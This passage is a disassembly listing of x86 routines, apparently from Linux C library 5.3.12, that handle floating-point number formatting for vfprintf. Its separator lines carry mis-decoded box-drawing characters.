test ecx, ecx jz short loc_80532FD mov edx, [ebx-24h] mov eax, [ebx-20h] mov [eax+edx*4], ecx inc dword ptr [ebx-24h] loc_80532FD: ; CODE XREF: sub_80531DC+26j ; sub_80531DC+56j ... mov eax, esi add al, 30h and eax, 0FFh lea esp, [ebp+var_C] pop ebx pop esi mov esp, ebp pop ebp retn sub_80531DC endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame sub_8053310 proc near ; DATA XREF: _IO_vfprintf+1176o ; _IO_vfprintf+2BF8o var_164 = byte ptr -164h var_162 = byte ptr -162h var_158 = dword ptr -158h var_154 = dword ptr -154h var_150 = dword ptr -150h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 158h push edi push esi push ebx mov ebx, [ebp+arg_8] mov [ebp+var_54], 0 mov [ebp+var_10], 0 mov [ebp+var_3C], 0 mov [ebp+var_5C], 0 mov eax, dword_8078890 mov eax, [eax+0Ch] mov [ebp+var_A0], eax mov edi, [ebp+var_A0] xor al, al cld mov ecx, 0FFFFFFFFh repne scasb mov esi, ecx not esi mov eax, esi dec eax push eax mov edx, [ebp+var_A0] push edx lea ecx, [ebp+var_34] push ecx call mbtowc mov esi, eax add esp, 0Ch test esi, esi jg short loc_8053388 mov eax, dword_8078890 mov eax, [eax+0Ch] movzx eax, byte ptr [eax] mov [ebp+var_34], eax loc_8053388: ; CODE XREF: sub_8053310+68j mov eax, [ebp+arg_4] cmp dword ptr [eax+28h], 0 jz short loc_80533E6 mov edx, dword_8078890 mov edx, [edx+14h] mov [ebp+var_50], edx cmp byte ptr [edx], 0 jz short loc_80533E6 cmp byte ptr [edx], 0FFh jz short loc_80533E6 mov eax, dword_8078890 mov edx, [eax+10h] xor al, al mov edi, edx cld mov ecx, 0FFFFFFFFh repne scasb mov eax, ecx not eax dec eax push eax push edx lea eax, [ebp+var_38] push eax call mbtowc add esp, 0Ch test eax, eax jg short loc_80533E0 mov eax, dword_8078890 mov eax, [eax+10h] movzx eax, byte ptr [eax] mov [ebp+var_38], eax loc_80533E0: ; CODE XREF: sub_8053310+C0j cmp [ebp+var_38], 0 jnz short loc_80533ED loc_80533E6: ; CODE XREF: sub_8053310+7Fj ; sub_8053310+90j ... mov [ebp+var_50], 0 loc_80533ED: ; CODE XREF: sub_8053310+D4j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+0Ch], 0 jz loc_8053494 mov eax, [ebx] mov edx, [eax] mov ecx, [eax+4] mov dword ptr [ebp+var_C], edx mov dword ptr [ebp+var_C+4], ecx mov edx, [eax+8] mov [ebp+var_4], edx mov eax, [ebp+var_4] mov edx, dword ptr [ebp+var_C+4] push eax push edx mov eax, dword ptr [ebp+var_C] push eax call __isnanl add esp, 0Ch test eax, eax jnz loc_80534B5 mov eax, [ebp+var_4] mov edx, dword ptr [ebp+var_C+4] push eax push edx mov eax, dword ptr [ebp+var_C] push eax call __isinfl add esp, 0Ch test eax, eax jz short loc_8053460 mov [ebp+var_54], offset unk_8067F88 fldz fld tbyte ptr [ebp+var_C] fcompp st(1), st fnstsw ax and ah, 45h cmp ah, 1 setz al jmp loc_80534F0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053460: ; CODE XREF: sub_8053310+12Fj mov eax, [ebp+var_4] mov edx, dword ptr [ebp+var_C+4] push eax push edx mov eax, dword ptr [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_18] push eax push 2 lea eax, [ebp+var_44] push eax call __mpn_extract_long_double mov [ebp+var_24], eax shl eax, 5 add eax, 0FFFFFFC1h mov [ebp+var_58], eax add esp, 1Ch jmp loc_8053526 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053494: ; CODE XREF: sub_8053310+E4j mov eax, [ebx] mov edx, [eax] mov ecx, [eax+4] mov dword ptr [ebp+var_C], edx mov dword ptr [ebp+var_C+4], ecx mov eax, dword ptr [ebp+var_C+4] mov edx, dword ptr [ebp+var_C] push eax push edx call __isnan add esp, 8 test eax, eax jz short loc_80534C8 loc_80534B5: ; CODE XREF: sub_8053310+113j mov [ebp+var_54], offset unk_8067F84 mov [ebp+var_3C], 0 jmp short loc_8053526 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80534C8: ; CODE XREF: sub_8053310+1A3j mov eax, dword ptr [ebp+var_C+4] mov edx, dword ptr [ebp+var_C] push eax push edx call __isinf add esp, 8 test eax, eax jz short loc_80534FC mov [ebp+var_54], offset unk_8067F88 fldz fcomp [ebp+var_C] fnstsw ax and ah, 45h setz al loc_80534F0: ; CODE XREF: sub_8053310+14Aj and eax, 0FFh mov [ebp+var_3C], eax jmp short loc_8053526 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80534FC: ; CODE XREF: sub_8053310+1CAj mov eax, dword ptr [ebp+var_C+4] mov edx, dword ptr [ebp+var_C] push eax push edx lea eax, [ebp+var_3C] push eax lea eax, [ebp+var_18] push eax push 2 lea eax, [ebp+var_44] push eax call __mpn_extract_double mov [ebp+var_24], eax shl eax, 5 add eax, 0FFFFFFCCh mov [ebp+var_58], eax add esp, 18h loc_8053526: ; CODE XREF: sub_8053310+17Ej ; sub_8053310+1B3j ... cmp [ebp+var_54], 0 jz loc_80536C4 mov eax, [ebp+arg_4] mov esi, [eax] cmp [eax+4], esi jle short loc_805353D mov esi, [eax+4] loc_805353D: ; CODE XREF: sub_8053310+228j cmp [ebp+var_3C], 0 jnz short loc_8053552 mov edx, [ebp+arg_4] cmp dword ptr [edx+24h], 0 jnz short loc_8053552 cmp dword ptr [edx+1Ch], 0 jz short loc_8053553 loc_8053552: ; CODE XREF: sub_8053310+231j ; sub_8053310+23Aj dec esi loc_8053553: ; CODE XREF: sub_8053310+240j add esi, 0FFFFFFFDh mov ecx, [ebp+arg_4] cmp dword ptr [ecx+20h], 0 jnz short loc_805357F test esi, esi jle short loc_805357F push esi push 20h mov eax, [ebp+arg_0] push eax call _IO_padn mov ebx, eax add esp, 0Ch cmp ebx, esi jnz loc_8054BD6 add [ebp+var_5C], esi loc_805357F: ; CODE XREF: sub_8053310+24Dj ; sub_8053310+251j cmp [ebp+var_3C], 0 jz short loc_80535C0 mov edx, [ebp+arg_0] mov edx, [edx+14h] mov ecx, [ebp+arg_0] cmp [ecx+18h], edx ja short loc_80535AC push 2Dh push ecx loc_8053596: ; CODE XREF: sub_8053310+2CAj ; sub_8053310+2FAj call sub_8061910 mov ebx, eax add esp, 8 cmp ebx, 0FFFFFFFFh jz loc_8054BD6 jmp short loc_805361B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80535AC: ; CODE XREF: sub_8053310+281j mov eax, [ebp+arg_0] mov eax, [eax+14h] mov byte ptr [eax], 2Dh mov edx, [ebp+arg_0] inc dword ptr [edx+14h] jmp short loc_805361B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80535C0: ; CODE XREF: sub_8053310+273j mov ecx, [ebp+arg_4] cmp dword ptr [ecx+24h], 0 jz short loc_80535F0 mov eax, [ebp+arg_0] mov eax, [eax+14h] mov edx, [ebp+arg_0] cmp [edx+18h], eax ja short loc_80535DC push 2Bh push edx jmp short loc_8053596 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80535DC: ; CODE XREF: sub_8053310+2C5j mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] mov byte ptr [ecx], 2Bh mov eax, [ebp+arg_0] inc dword ptr [eax+14h] jmp short loc_805361B ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80535F0: ; CODE XREF: sub_8053310+2B7j mov edx, [ebp+arg_4] cmp dword ptr [edx+1Ch], 0 jz short loc_805361E mov ecx, [ebp+arg_0] mov ecx, [ecx+14h] mov eax, [ebp+arg_0] cmp [eax+18h], ecx ja short loc_805360C push 20h push eax jmp short loc_8053596 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_805360C: ; CODE XREF: sub_8053310+2F5j mov edx, [ebp+arg_0] mov edx, [edx+14h] mov byte ptr [edx], 20h mov ecx, [ebp+arg_0] inc dword ptr [ecx+14h] loc_805361B: ; CODE XREF: sub_8053310+299j ; sub_8053310+2ABj ... inc [ebp+var_5C] loc_805361E: ; CODE XREF: sub_8053310+2E7j mov ebx, 2 nop loc_8053624: ; CODE XREF: sub_8053310+37Ej mov eax, [ebp+var_54] movzx edi, byte ptr [eax] inc eax mov [ebp+var_54], eax mov edx, [ebp+arg_0] mov edx, [edx+14h] mov ecx, [ebp+arg_0] cmp [ecx+18h], edx ja short loc_8053660 mov eax, edi movzx edi, al mov [ebp+var_9C], edi push edi push ecx call sub_8061910 mov edi, eax add esp, 8 cmp edi, 0FFFFFFFFh jz loc_8054BD6 jmp short loc_8053686 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053660: ; CODE XREF: sub_8053310+32Aj mov edx, [ebp+arg_0] mov edx, [edx+14h] mov ecx, edi mov byte ptr [ebp+var_A0], cl mov [edx], cl movzx eax, byte ptr [ebp+var_A0] mov edx, [ebp+arg_0] inc dword ptr [edx+14h] cmp eax, 0FFFFFFFFh jz loc_8054BD6 loc_8053686: ; CODE XREF: sub_8053310+34Cj inc [ebp+var_5C] mov eax, ebx dec ebx test eax, eax jnz short loc_8053624 mov ecx, [ebp+arg_4] cmp dword ptr [ecx+20h], 0 jz loc_8054C18 test esi, esi jle loc_8054C18 push esi push 20h mov eax, [ebp+arg_0] push eax call _IO_padn mov ebx, eax cmp ebx, esi jnz loc_8054BD6 add [ebp+var_5C], esi jmp loc_8054C18 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80536C4: ; CODE XREF: sub_8053310+21Aj mov esi, [ebp+var_18] test esi, esi jge short loc_80536CD neg esi loc_80536CD: ; CODE XREF: sub_8053310+3B9j add esi, 1Fh mov ebx, esi jns short loc_80536D7 lea ebx, [esi+1Fh] loc_80536D7: ; CODE XREF: sub_8053310+3C2j mov eax, ebx sar eax, 5 lea eax, ds:10h[eax*4] sub esp, eax mov [ebp+var_20], esp sub esp, eax mov [ebp+var_30], esp sub esp, eax mov [ebp+var_2C], esp mov [ebp+var_1C], 0 cmp [ebp+var_18], 2 jle loc_8053F0C xor edi, edi mov [ebp+var_60], 0Ch mov [ebp+var_64], 0 mov [ebp+var_68], offset a@TheLinuxCLibr ; "@(#) The Linux C library 5.3.12" mov edx, [ebp+var_58] add edx, [ebp+var_18] mov [ebp+var_A0], edx test dl, 1Fh jnz loc_8053928 mov ecx, [ebp+var_24] dec ecx mov [ebp+var_A4], ecx js loc_8053912 lea ebx, ds:0[ecx*4] not ecx mov esi, ecx and esi, 3 cmp [ebp+var_A4], 0FFFFFFFFh jle short loc_80537C8 test esi, esi jz loc_8053800 cmp esi, 3 jge short loc_80537C8 cmp esi, 2 jge short loc_8053799 mov esi, [ebp+var_A0] test esi, esi jge short loc_8053775 add esi, 1Fh loc_8053775: ; CODE XREF: sub_8053310+460j sar esi, 5 mov [ebp+var_9C], esi lea eax, [ebx+esi*4] add eax, [ebp+var_20] mov edx, [ebp+var_A4] mov edx, [ebp+edx*4+var_44] mov [eax], edx add ebx, 0FFFFFFFCh dec [ebp+var_A4] loc_8053799: ; CODE XREF: sub_8053310+456j mov esi, [ebp+var_58] add esi, [ebp+var_18] jns short loc_80537A4 add esi, 1Fh loc_80537A4: ; CODE XREF: sub_8053310+48Fj sar esi, 5 mov [ebp+var_9C], esi lea ecx, [ebx+esi*4] add ecx, [ebp+var_20] mov eax, [ebp+var_A4] mov eax, [ebp+eax*4+var_44] mov [ecx], eax add ebx, 0FFFFFFFCh dec [ebp+var_A4] loc_80537C8: ; CODE XREF: sub_8053310+444j ; sub_8053310+451j mov esi, [ebp+var_58] add esi, [ebp+var_18] jns short loc_80537D3 add esi, 1Fh loc_80537D3: ; CODE XREF: sub_8053310+4BEj sar esi, 5 mov [ebp+var_9C], esi lea edx, [ebx+esi*4] add edx, [ebp+var_20] mov ecx, [ebp+var_A4] mov ecx, [ebp+ecx*4+var_44] mov [edx], ecx add ebx, 0FFFFFFFCh dec [ebp+var_A4] js loc_8053912 lea esi, [esi+0] loc_8053800: ; CODE XREF: sub_8053310+448j ; sub_8053310+5FCj mov esi, [ebp+var_58] add esi, [ebp+var_18] jns short loc_805380B add esi, 1Fh loc_805380B: ; CODE XREF: sub_8053310+4F6j sar esi, 5 mov [ebp+var_9C], esi lea eax, [ebx+esi*4] add eax, [ebp+var_20] mov edx, [ebp+var_A4] mov edx, [ebp+edx*4+var_44] mov [eax], edx lea ecx, [ebx-4] mov [ebp+var_A0], ecx mov esi, [ebp+var_A4] dec esi mov eax, [ebp+var_58] add eax, [ebp+var_18] mov [ebp+var_9C], eax jns short loc_805384D add eax, 1Fh mov [ebp+var_9C], eax loc_805384D: ; CODE XREF: sub_8053310+532j mov edx, [ebp+var_9C] sar edx, 5 mov ecx, [ebp+var_A0] lea ecx, [ecx+edx*4] add ecx, [ebp+var_20] mov esi, [ebp+esi*4+var_44] mov [ebp+var_150], esi mov [ecx], esi lea eax, [ebx-8] mov [ebp+var_A0], eax mov esi, [ebp+var_A4] add esi, 0FFFFFFFEh mov edx, [ebp+var_58] add edx, [ebp+var_18] mov [ebp+var_9C], edx jns short loc_8053897 add edx, 1Fh mov [ebp+var_9C], edx loc_8053897: ; CODE XREF: sub_8053310+57Cj mov ecx, [ebp+var_9C] sar ecx, 5 mov eax, [ebp+var_A0] lea eax, [eax+ecx*4] add eax, [ebp+var_20] mov esi, [ebp+esi*4+var_44] mov [ebp+var_154], esi mov [eax], esi lea edx, [ebx-0Ch] mov [ebp+var_A0], edx mov esi, [ebp+var_A4] add esi, 0FFFFFFFDh mov ecx, [ebp+var_58] add ecx, [ebp+var_18] mov [ebp+var_9C], ecx jns short loc_80538E1 add ecx, 1Fh mov [ebp+var_9C], ecx loc_80538E1: ; CODE XREF: sub_8053310+5C6j mov eax, [ebp+var_9C] sar eax, 5 mov edx, [ebp+var_A0] lea edx, [edx+eax*4] add edx, [ebp+var_20] mov esi, [ebp+esi*4+var_44] mov [ebp+var_158], esi mov [edx], esi add ebx, 0FFFFFFF0h add [ebp+var_A4], 0FFFFFFFCh jns loc_8053800 loc_8053912: ; CODE XREF: sub_8053310+429j ; sub_8053310+4E7j mov ebx, [ebp+var_58] add ebx, [ebp+var_18] jns short loc_805391D add ebx, 1Fh loc_805391D: ; CODE XREF: sub_8053310+608j mov eax, ebx sar eax, 5 add [ebp+var_24], eax jmp short loc_8053999 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053928: ; CODE XREF: sub_8053310+419j mov ebx, [ebp+var_58] add ebx, [ebp+var_18] mov esi, ebx jns short loc_8053935 lea esi, [ebx+1Fh] loc_8053935: ; CODE XREF: sub_8053310+620j mov eax, esi and al, 0E0h sub ebx, eax mov eax, ebx push eax mov eax, [ebp+var_24] push eax lea eax, [ebp+var_44] push eax mov ebx, [ebp+var_58] add ebx, [ebp+var_18] jns short loc_8053951 add ebx, 1Fh loc_8053951: ; CODE XREF: sub_8053310+63Cj mov eax, ebx sar eax, 5 shl eax, 2 add eax, [ebp+var_20] push eax call __mpn_lshift mov [ebp+var_28], eax mov ebx, [ebp+var_58] add ebx, [ebp+var_18] jns short loc_8053970 add ebx, 1Fh loc_8053970: ; CODE XREF: sub_8053310+65Bj mov eax, ebx sar eax, 5 add [ebp+var_24], eax add esp, 10h cmp [ebp+var_28], 0 jz short loc_8053999 mov ecx, [ebp+var_24] shl ecx, 2 mov [ebp+var_A4], ecx mov eax, [ebp+var_28] mov edx, [ebp+var_20] mov [edx+ecx], eax inc [ebp+var_24] loc_8053999: ; CODE XREF: sub_8053310+615j ; sub_8053310+66Fj mov [ebp+var_A4], 0 mov ebx, [ebp+var_20] mov [ebp+var_A0], 0 loc_80539B0: ; CODE XREF: sub_8053310+6D4j mov esi, [ebp+var_58] add esi, [ebp+var_18] jns short loc_80539BB add esi, 1Fh loc_80539BB: ; CODE XREF: sub_8053310+6A6j mov eax, esi sar eax, 5 cmp [ebp+var_A4], eax jge short loc_80539E8 mov ecx, [ebp+var_A0] mov dword ptr [ebx+ecx], 0 add ecx, 4 mov [ebp+var_A0], ecx inc [ebp+var_A4] jmp short loc_80539B0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_80539E8: ; CODE XREF: sub_8053310+6B6j mov esi, [ebp+var_68] add esi, 4 lea esi, [esi] loc_80539F0: ; CODE XREF: sub_8053310+7D9j add esi, 0FFFFFFF0h add [ebp+var_68], 0FFFFFFF0h mov eax, edi add eax, [esi+4] dec eax cmp [ebp+var_18], eax jl loc_8053ADF cmp [ebp+var_1C], 0 jnz short loc_8053A2C mov eax, [ebp+var_30] mov edx, [ebp+var_68] mov edx, [edx] mov ebx, [esi] lea ecx, ds:0[ebx*4] push ecx push edx push eax call memcpy add esp, 0Ch jmp short loc_8053A6A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053A2C: ; CODE XREF: sub_8053310+6FAj mov eax, [esi] add eax, 0FFFFFFFEh push eax mov edx, [ebp+var_68] mov edx, [edx] add edx, 8 push edx mov ecx, [ebp+var_1C] push ecx mov eax, [ebp+var_2C] push eax mov edx, [ebp+var_30] push edx call __mpn_mul mov [ebp+var_A4], eax mov [ebp+var_28], eax mov ebx, [ebp+var_1C] add ebx, [esi] add ebx, 0FFFFFFFEh add esp, 14h cmp [ebp+var_A4], 0 jnz short loc_8053A6A dec ebx loc_8053A6A: ; CODE XREF: sub_8053310+718j ; sub_8053310+757j cmp [ebp+var_24], ebx jg short loc_8053A86 jnz short loc_8053ADF push ebx mov eax, [ebp+var_30] push eax mov eax, [ebp+var_20] push eax call __mpn_cmp add esp, 0Ch test eax, eax jl short loc_8053ADF loc_8053A86: ; CODE XREF: sub_8053310+75Dj mov ecx, [ebp+var_2C] mov eax, [ebp+var_30] mov [ebp+var_1C], ebx shl ebx, 2 mov [ebp+var_9C], ebx push ebx push eax push ecx call memcpy add esp, 0Ch mov edx, [ebp+var_1C] shl edx, 2 mov [ebp+var_9C], edx add edx, [ebp+var_2C] add edx, 0FFFFFFFCh bsr ecx, [edx] mov edi, [ebp+var_1C] add edi, 0FFFFFFFEh shl edi, 5 mov [ebp+var_A0], edi mov edi, ecx xor edi, 0FFFFFFE0h add edi, [ebp+var_A0] mov eax, 1 mov ecx, [ebp+var_60] shl eax, cl or [ebp+var_64], eax loc_8053ADF: ; CODE XREF: sub_8053310+6F0j ; sub_8053310+75Fj ... dec [ebp+var_60] cmp [ebp+var_68], offset off_8068DAC ja loc_80539F0 mov edx, [ebp+var_64] mov [ebp+var_18], edx cmp [ebp+var_1C], 0 jle loc_80543D0 xor edi, edi mov esi, [ebp+var_2C] cmp dword ptr [esi], 0 jnz short loc_8053B46 mov ebx, [ebp+var_20] cmp dword ptr [ebx], 0 jnz short loc_8053B46 mov edi, 1 cmp dword ptr [esi+4], 0 jnz short loc_8053B46 cmp dword ptr [ebx+4], 0 jnz short loc_8053B46 mov [ebp+var_A4], esi mov esi, ebx mov ebx, 4 nop loc_8053B30: ; CODE XREF: sub_8053310+834j add ebx, 4 inc edi mov ecx, [ebp+var_A4] cmp dword ptr [ecx+ebx], 0 jnz short loc_8053B46 cmp dword ptr [esi+ebx], 0 jz short loc_8053B30 loc_8053B46: ; CODE XREF: sub_8053310+7F7j ; sub_8053310+7FFj ... mov eax, [ebp+var_1C] shl eax, 2 mov [ebp+var_9C], eax add eax, [ebp+var_2C] add eax, 0FFFFFFFCh bsr edx, [eax] mov ebx, edx xor bl, 1Fh test ebx, ebx jnz loc_8053D88 test edi, edi jle loc_80543D0 mov ecx, [ebp+var_1C] sub ecx, edi mov [ebp+var_9C], ecx cmp ebx, ecx jge loc_8053C75 mov eax, [ebp+var_2C] mov [ebp+var_A4], eax lea edx, ds:0[edi*4] mov [ebp+var_A0], edx xor ebx, ebx lea esi, ds:0[ecx*4] and ecx, 3 mov [ebp+var_9C], ecx jz short loc_8053C0A cmp ecx, 1 jle short loc_8053BE8 cmp ecx, 2 jle short loc_8053BCA add edx, [ebp+var_2C] mov ecx, [edx] mov [eax], ecx add [ebp+var_A0], 4 mov ebx, 4 loc_8053BCA: ; CODE XREF: sub_8053310+8A5j mov eax, [ebp+var_A0] add eax, [ebp+var_2C] mov edx, [eax] mov ecx, [ebp+var_A4] mov [ecx+ebx], edx add [ebp+var_A0], 4 add ebx, 4 loc_8053BE8: ; CODE XREF: sub_8053310+8A0j mov eax, [ebp+var_A0] add eax, [ebp+var_2C] mov edx, [eax] mov ecx, [ebp+var_A4] mov [ecx+ebx], edx add [ebp+var_A0], 4 add ebx, 4 cmp ebx, esi jz short loc_8053C75 loc_8053C0A: ; CODE XREF: sub_8053310+89Bj mov eax, [ebp+var_A4] add eax, ebx mov [ebp+var_A4], eax loc_8053C18: ; CODE XREF: sub_8053310+963j mov edx, [ebp+var_A0] add edx, [ebp+var_2C] mov ecx, [edx] mov eax, [ebp+var_A4] mov [eax], ecx mov edx, [ebp+var_A0] add edx, [ebp+var_2C] mov ecx, [edx+4] mov [eax+4], ecx mov eax, [ebp+var_A0] add eax, [ebp+var_2C] mov edx, [eax+8] mov ecx, [ebp+var_A4] mov [ecx+8], edx mov eax, [ebp+var_A0] add eax, [ebp+var_2C] mov edx, [eax+0Ch] mov [ecx+0Ch], edx add [ebp+var_A0], 10h add ecx, 10h mov [ebp+var_A4], ecx add ebx, 10h cmp ebx, esi jnz short loc_8053C18 loc_8053C75: ; CODE XREF: sub_8053310+86Dj ; sub_8053310+8F8j sub [ebp+var_1C], edi mov ecx, [ebp+var_24] sub ecx, edi mov [ebp+var_9C], ecx test ecx, ecx jle loc_8053D7D mov eax, [ebp+var_20] mov [ebp+var_A4], eax lea edx, ds:0[edi*4] mov [ebp+var_A0], edx xor ebx, ebx lea esi, ds:0[ecx*4] and ecx, 3 mov [ebp+var_9C], ecx jz short loc_8053D12 cmp ecx, 1 jle short loc_8053CF0 cmp ecx, 2 jle short loc_8053CD2 add edx, [ebp+var_20] mov ecx, [edx] mov [eax], ecx add [ebp+var_A0], 4 mov ebx, 4 loc_8053CD2: ; CODE XREF: sub_8053310+9ADj mov eax, [ebp+var_A0] add eax, [ebp+var_20] mov edx, [eax] mov ecx, [ebp+var_A4] mov [ecx+ebx], edx add [ebp+var_A0], 4 add ebx, 4 loc_8053CF0: ; CODE XREF: sub_8053310+9A8j mov eax, [ebp+var_A0] add eax, [ebp+var_20] mov edx, [eax] mov ecx, [ebp+var_A4] mov [ecx+ebx], edx add [ebp+var_A0], 4 add ebx, 4 cmp ebx, esi jz short loc_8053D7D loc_8053D12: ; CODE XREF: sub_8053310+9A3j mov eax, [ebp+var_A4] add eax, ebx mov [ebp+var_A4], eax loc_8053D20: ; CODE XREF: sub_8053310+A6Bj mov edx, [ebp+var_A0] add edx, [ebp+var_20] mov ecx, [edx] mov eax, [ebp+var_A4] mov [eax], ecx mov edx, [ebp+var_A0] add edx, [ebp+var_20] mov ecx, [edx+4] mov [eax+4], ecx mov eax, [ebp+var_A0] add eax, [ebp+var_20] mov edx, [eax+8] mov ecx, [ebp+var_A4] mov [ecx+8], edx mov eax, [ebp+var_A0] add eax, [ebp+var_20] mov edx, [eax+0Ch] mov [ecx+0Ch], edx add [ebp+var_A0], 10h add ecx, 10h mov [ebp+var_A4], ecx add ebx, 10h cmp ebx, esi jnz short loc_8053D20 loc_8053D7D: ; CODE XREF: sub_8053310+975j ; sub_8053310+A00j sub [ebp+var_24], edi jmp loc_80543D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053D88: ; CODE XREF: sub_8053310+852j lea esi, ds:0[edi*4] mov ecx, [ebp+var_2C] mov [ebp+var_A4], ecx cmp dword ptr [ecx+esi], 0 jz short loc_8053DC8 bsf eax, [ecx+esi] mov [ebp+var_A0], eax mov edx, [ebp+var_20] mov [ebp+var_A4], edx cmp dword ptr [edx+esi], 0 jz short loc_8053DDC bsf esi, [edx+esi] cmp esi, eax jge short loc_8053DDC mov [ebp+var_A0], esi jmp short loc_8053DDC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053DC8: ; CODE XREF: sub_8053310+A8Cj lea ecx, ds:0[edi*4] mov eax, [ebp+var_20] bsf eax, [eax+ecx] mov [ebp+var_A0], eax loc_8053DDC: ; CODE XREF: sub_8053310+AA5j ; sub_8053310+AADj ... test edi, edi jnz short loc_8053E38 mov eax, 20h sub eax, ebx cmp [ebp+var_A0], eax jge short loc_8053E47 push ebx mov eax, [ebp+var_1C] push eax mov eax, [ebp+var_2C] push eax push eax call __mpn_lshift push ebx mov eax, [ebp+var_24] push eax mov eax, [ebp+var_20] push eax push eax call __mpn_lshift mov ebx, eax mov [ebp+var_28], ebx add esp, 20h test ebx, ebx jz loc_80543D0 mov edx, [ebp+var_24] shl edx, 2 mov [ebp+var_A0], edx mov ecx, [ebp+var_20] mov [ecx+edx], ebx inc [ebp+var_24] jmp loc_80543D0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053E38: ; CODE XREF: sub_8053310+ACEj mov eax, 20h sub eax, ebx cmp [ebp+var_A0], eax jl short loc_8053EA4 loc_8053E47: ; CODE XREF: sub_8053310+ADDj mov esi, 20h sub esi, ebx push esi mov eax, [ebp+var_1C] sub eax, edi push eax lea ebx, ds:0[edi*4] mov eax, ebx add eax, [ebp+var_2C] push eax mov eax, [ebp+var_2C] push eax call __mpn_rshift mov eax, [ebp+var_1C] dec eax sub eax, edi mov [ebp+var_1C], eax push esi mov eax, [ebp+var_24] sub eax, edi push eax add ebx, [ebp+var_20] push ebx mov eax, [ebp+var_20] push eax call __mpn_rshift add esp, 20h mov eax, [ebp+var_24] sub eax, edi shl eax, 2 add eax, [ebp+var_20] cmp dword ptr [eax-4], 0 jnz short loc_8053EFC mov ebx, [ebp+var_24] dec ebx jmp short loc_8053EFF ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8053EA4: ; CODE XREF: sub_8053310+B35j mov esi, 20h sub esi, ebx push esi mov eax, [ebp+var_1C] inc eax sub eax, edi push eax lea ebx, ds:0FFFFFFFCh[edi*4] mov eax, ebx add eax, [ebp+var_2C] push eax mov eax, [ebp+var_2C] push eax call __mpn_rshift sub [ebp+var_1C], edi push esi mov eax, [ebp+var_24] inc eax sub eax, edi push eax add ebx, [ebp+var_20] push ebx mov eax, [ebp+var_20] push eax call __mpn_rshift add esp, 20h mov eax, [ebp+var_24] inc eax mov ebx, eax sub ebx, edi lea 